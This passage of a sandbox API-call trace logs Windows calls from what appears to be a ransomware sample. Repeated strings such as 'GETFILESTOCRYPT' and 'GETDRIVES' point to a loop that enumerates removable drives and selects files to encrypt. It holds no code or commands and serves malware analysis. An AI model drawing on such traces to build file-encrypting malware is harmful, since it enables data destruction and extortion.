| out: lpMsg=0x130f204) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.226] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.226] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.226] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.226] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.226] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.226] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.226] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.227] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.227] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.227] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.227] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.227] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.227] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.254] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.254] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.254] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.254] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.254] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.254] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.255] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.255] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.255] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.255] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.255] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.255] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.256] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.256] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.256] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.256] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.256] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.256] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.256] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.256] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.256] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.257] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.257] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.257] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.257] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.257] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.258] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.259] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.259] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.259] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.259] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.260] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.260] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.260] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.260] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.261] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.261] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.261] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.261] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.262] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.264] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.264] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.264] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.264] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.265] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.265] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.265] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.265] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.265] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.265] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.266] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.266] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.266] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.266] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.266] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.266] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.266] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.267] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.267] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.267] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.267] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.267] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.268] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.270] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.270] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.270] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.270] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.270] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.271] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.271] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.271] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.271] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.271] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.271] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.271] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.272] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.272] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.272] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.272] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.272] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.272] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.272] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.272] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.272] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.272] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.273] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.273] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.273] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.273] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.273] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.273] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.274] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.274] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.274] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.274] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.274] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.274] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.274] 